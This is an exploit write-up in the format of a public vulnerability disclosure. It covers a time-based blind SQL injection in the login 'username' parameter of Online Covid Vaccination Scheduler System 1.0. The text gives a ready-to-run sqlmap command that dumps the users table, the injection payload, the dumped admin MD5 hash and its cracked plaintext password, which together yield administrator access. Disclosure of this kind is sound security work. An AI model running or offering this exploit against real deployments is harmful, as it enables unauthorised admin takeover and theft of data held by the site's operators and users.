Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection

# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - 'username' time-based blind SQL Injection
# Date: 2021-07-07
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description  #
################

The admin panel login can be assessed at http://{ip}/scheduler/admin/login.php. The username parameter is vulnerable to time-based SQL injection.
Upon successful dumping the admin password hash, we can decrypt and obtain the plain-text password. Hence, we could authenticate as Administrator.


###########
# PoC     #
###########

Run sqlmap to dump username and password:

$ sqlmap -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=blabla" --cookie="PHPSESSID=n3to3djqetf42c2e7l257kspi5" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump


###########
# Output  #
###########

Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 7551 FROM (SELECT(SLEEP(5)))QOUn) AND 'MOUZ'='MOUZ&password=blabla
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
current database: 'scheduler'

Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+


The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123